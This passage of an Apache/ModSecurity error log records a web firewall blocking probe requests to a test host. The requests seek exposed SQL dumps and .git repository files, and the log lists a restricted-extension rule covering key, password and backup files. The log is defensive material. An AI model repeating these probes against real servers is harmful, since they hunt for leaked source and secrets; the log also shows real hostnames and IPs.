&quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I9wAAAAA&quot;]
[Mon Jul 28 20:46:35.122115 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I9wAAAAA&quot;]
[Mon Jul 28 20:46:35.122286 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I9wAAAAA&quot;]
[Mon Jul 28 20:46:35.144517 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I-AAAAAA&quot;]
[Mon Jul 28 20:46:35.144870 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I-AAAAAA&quot;]
[Mon Jul 28 20:46:35.145039 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delete.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I-AAAAAA&quot;]
[Wed Jul 30 07:14:41.251159 2025] [:error] [pid 1565747] [client 198.55.98.182:44966] [client 198.55.98.182] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aImqQU-7kYLRyZuY-tPGpwAAAAM&quot;]
[Wed Jul 30 07:14:41.251422 2025] [:error] [pid 1565747] [client 198.55.98.182:44966] [client 198.55.98.182] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aImqQU-7kYLRyZuY-tPGpwAAAAM&quot;]
[Wed Jul 30 07:14:41.251581 2025] [:error] [pid 1565747] [client 198.55.98.182:44966] [client 198.55.98.182] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aImqQU-7kYLRyZuY-tPGpwAAAAM&quot;]
[Wed Jul 30 08:05:29.959242 2025] [:error] [pid 1565747] [client 198.55.98.182:60892] [client 198.55.98.182] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIm2KU-7kYLRyZuY-tPGqwAAAAM&quot;]
[Wed Jul 30 08:05:29.959553 2025] [:error] [pid 1565747] [client 198.55.98.182:60892] [client 198.55.98.182] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIm2KU-7kYLRyZuY-tPGqwAAAAM&quot;]
[Wed Jul 30 08:05:29.959721 2025] [:error] [pid 1565747] [client 198.55.98.182:60892] [client 198.55.98.182] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIm2KU-7kYLRyZuY-tPGqwAAAAM&quot;]
[Fri Aug 01 20:57:21.046732 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HCwAAAAg&quot;]
[Fri Aug 01 20:57:21.048194 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HCwAAAAg&quot;]
[Fri Aug 01 20:57:21.048379 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HCwAAAAg&quot;]
[Fri Aug 01 20:57:21.070607 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDAAAAAg&quot;]
[Fri Aug 01 20:57:21.070834 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDAAAAAg&quot;]
[Fri Aug 01 20:57:21.070991 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDAAAAAg&quot;]
[Fri Aug 01 20:57:21.093247 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDQAAAAg&quot;]
[Fri Aug 01 20:57:21.093467 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDQAAAAg&quot;]
[Fri Aug 01 20:57:21.093613 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDQAAAAg&quot;]
[Fri Aug 01 20:57:21.116434 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDgAAAAg&quot;]
[Fri Aug 01 20:57:21.116638 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDgAAAAg&quot;]
[Fri Aug 01 20:57:21.116802 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDgAAAAg&quot;]
[Fri Aug 01 20:57:21.140050 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDwAAAAg&quot;]
[Fri Aug 01 20:57:21.140232 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDwAAAAg&quot;]
[Fri Aug 01 20:57:21.140377 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HDwAAAAg&quot;]
[Fri Aug 01 20:57:21.162438 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEAAAAAg&quot;]
[Fri Aug 01 20:57:21.162627 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEAAAAAg&quot;]
[Fri Aug 01 20:57:21.162775 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEAAAAAg&quot;]
[Fri Aug 01 20:57:21.184848 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEQAAAAg&quot;]
[Fri Aug 01 20:57:21.185037 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEQAAAAg&quot;]
[Fri Aug 01 20:57:21.185199 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEQAAAAg&quot;]
